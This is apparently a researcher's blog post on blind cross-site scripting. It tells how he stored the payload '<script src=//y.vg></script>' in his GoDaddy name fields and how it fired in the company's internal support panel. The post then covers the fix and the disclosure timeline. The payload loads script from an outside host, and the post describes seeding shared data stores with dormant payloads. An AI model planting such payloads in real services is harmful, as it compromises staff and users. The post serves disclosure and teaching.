This is the first part of a series of stories of compromising companies via blind cross-site scripting. As companies fix the issues and allow me to disclose them, I will post them here.
Blind cross-site scripting (XSS) is an often-missed class of XSS which occurs when an XSS payload fires in a browser other than the attacker’s/pentester’s. This flavour of XSS is often missed by penetration testers due to the standard alert box approach being a limited methodology for finding these vulnerabilities. When your payloads are all <script>alert(1)</script> you’re making the assumption that the XSS will fire in your browser, when it’s likely it will fire in other places and in other browsers. Without a payload that notifies you regardless of the browser it fires in, you’re probably missing out on the biggest vulnerabilities.
Poisoning the Well
One of the interesting things about using a blind XSS tool (in my case I’m using XSS Hunter) is that you can sprinkle your payloads across a service and wait until someone else triggers them. The more you test for blind XSS the more you realize the game is about “poisoning” the data stores that applications read from. For example, a users database is likely read by more than just the main web application. There is likely log viewing apps, administrative panels, and data analytics services which all draw from the same end storage. All of these services are just as likely to be vulnerable to XSS if not more because they are often not as polished as the final web service that the end customer uses. To make a physical comparison, blind XSS payloads act more like mines which lie dormant until someone triggers them.
Yes, my name is <script src=//y.vg></script>.
GoDaddy is a perfect example of the above. While using GoDaddy I noticed that my first and last name could be set to an XSS payload. I opted to use my generic <script> tag payload of <script src=//y.vg></script> for both fields:
Humorously, I had completely forgotten that I had done so until I later had a problem with one of my domains. Later on I called GoDaddy’s customer support to try to get a domain transferred to a different registrar. The agent appeared to be having trouble looking up my account due to their systems “experiencing issues”. It was then my phone vibrated twice indicating I had just gotten two emails in rapid succession. As it turns out, those emails were notifications that my previously planted XSS payloads had fired:
It appears that GoDaddy’s internal customer support panel was indeed vulnerable to XSS! I made an excuse about having to deal with a personal matter and ended the support call. After investigating the report generated by XSS Hunter, the DOM capture gave away why the support rep was having troubles:
As can be seen in the above DOM capture, my XSS payload borked the JSON displayed in the webpage body and escaped the <script> block. This caused the XSS payload to fire but broke the webpage that the support agent was viewing (oops) which is why he was having trouble looking up my account. It should be noted that if this payload was a regular alert() box, the agent would’ve just seen the prompt and I never would’ve noticed that this vulnerability existed. As eluded to previously, the issue was that the GoDaddy customer support application pulled data from a shared database that my XSS payload was stored in and then reflected it insecurely into the page – causing this XSS vulnerability. Despite the main GoDaddy application safely encoding the input, due to a shared “poisoned” data source, the vulnerability was able to traverse services.
Blind XSS Remediation – Keeping the Well Clean
This story brings up an interesting point about XSS remediation. While the standard remediation for XSS is generally contextually-aware output encoding, you can actually get huge security gains from preventing the payloads from being stored at all. When you do proper output encoding, you have to do it on every system which pulls data from your data store. However, if you simply ensure that the stored data is clean you can prevent exploitation of many systems because the payload would never be able to be stored in the first place. Obviously, ideally you would have both, but for companies with many services drawing from the same data sources you can get a lot of win with just a little filtering. This is the approach that GoDaddy took for remediation, likely for the same reasons.
*I apologize if some of these dates are a day or two off as Cobalt (the bug bounty service GoDaddy uses) has awful timestamps which round up to the nearest month if you go far enough back. For this reason I don’t have exact timestamps for all of this, but I try to be as close as possible.
12/28/15 – Emailed [email protected] about reporting the security vulnerability.
12/29/15 – After some research, emailed [email protected] instead about reporting the issue.
12/30/15 – Invited to GoDaddy’s private bug bounty program.
12/30/15 – Reported vulnerability via Cobalt’s bug bounty web service.
02/06/16 – GoDaddy closed issue as a duplicate stating the following:
“This is actually a known issue and we are working to resolve it.
Also keep in mind that our bug bounty only covers www.godaddy.com and sso.godaddy.com. crm.int.godaddy.com would be considered out of scope. But since this has already been reported since you need to create a username/password at sso.godaddy.com, I am not counting it as out of scope; just a duplicate.”
02/06/16 – Requested public disclosure after three months pass, due to high severity of issue (and the fact that it was known to them before I reported it, making it unclear how long the issue has existed).
02/06/16 – GoDaddy responds with the following:
“We appreciate you letting us know of the severity of this issue. We are definitely working on this, and when we fix the issue, we will let you know the status of this. You may want to follow up in a few weeks with us.
Since you have now heard from us, we respectfully ask that you do not disclose this until we have fixed it. Please keep in mind that you agreed to the Cobalt/GoDaddy terms of agreement when you signed up for our Bug Bounty. The agreement states:
“You may disclose vulnerabilities only after proper remediation has occurred and may not disclose any confidential information without prior written consent.”
The full agreement can be found at: https://cobalt.io/godaddy-beta”
02/07/16 – Agree to not disclose until the issue is fixed.
02/07/16 – 04/07/16 – Multiple pings to the GoDaddy bug bounty team asking on the status of the issue.
04/11/16 – After waiting ~3 months I respond with the following:
“Hey @[REDACTED] checking in on an update. I’m a little disappointed in the response time on this because of how critical this vulnerability is. I’m moving my domains off of GoDaddy this week (since they could all be stolen/accessed using this issue) but for other GoDaddy users this is still outstanding critical issue that affects them. I’ve waited over three months so far for a fix so I feel giving this one more month until public disclosure takes place is fair (this is more time than Google’s Project Zero gives: http://googleprojectzero.blogspot.com/2015/02/feedback-and-data-driven-updates-to.html). To clarify, the reason behind disclosure is not to extort (I don’t care about reward) but only to make other GoDaddy users aware of the outstanding issue (and also to incentivize a fix).
I am aware this violates the Terms of Service of Cobalt.io am not super concerned about being banned as this is the only bug bounty I’ve participated in which is hosted here.
Let me know your thoughts on this timeline. Thanks.”
04/13/16 – Pinged GoDaddy to ensure they got the above message.
04/13/16 – GoDaddy responds with:
“Hi Mandatory, we have received your reply and I am escalating this issue internally. As soon as I hear from the development team, I will reply with details and hopefully a timeline for remediation.”
04/20/16 – Checked in on fix status.
04/20/16 – GoDaddy responds with:
“This issue has involved several teams from the front and backend. They have pushed out some minor changes but are still working on fixing the entire issue from front to back. Feel free to follow up in a few days or some time next week. Hopefully we’ll have fixed the issue completely.”
04/25/16 – GoDaddy responds with:
“Just wanted to update you that our developers have deployed code changes which should now prevent XSS from happening on account usernames and account profile information such as your first and last name. Feel free to test and let us know if you are still able to replicate the issue.”
04/27/16 – Confirmed that you can no longer set your profile information to an XSS payload. Fixing the root cause.